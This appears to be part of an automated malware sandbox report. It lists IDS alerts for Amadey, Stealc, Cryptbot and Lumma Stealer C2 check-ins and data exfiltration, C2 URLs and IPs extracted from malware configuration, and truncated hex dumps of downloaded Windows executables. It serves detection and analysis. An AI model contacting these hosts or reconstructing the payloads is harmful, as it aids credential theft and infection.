Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50144 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50153 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50155 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50160 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50190 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.7:50199 -> 34.118.89.252:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50203 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.7:50207 -> 34.118.89.252:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50407 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.7:50223 -> 34.118.89.252:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50145 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50145 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50147 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50147 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50162 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50162 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50161 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50165 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50165 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50201 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50227 -> 172.67.153.209:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://blade-govern.sbs/api
Source: Malware configuration extractor	URLs: 185.244.212.106:2227
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: 2vYIhome.twentykm20sr.top
Source: Malware configuration extractor	URLs: home.twentykm20sr.top

Source: global traffic

TCP traffic: 192.168.2.7:50138 -> 185.244.212.106:2227

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 21:52:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 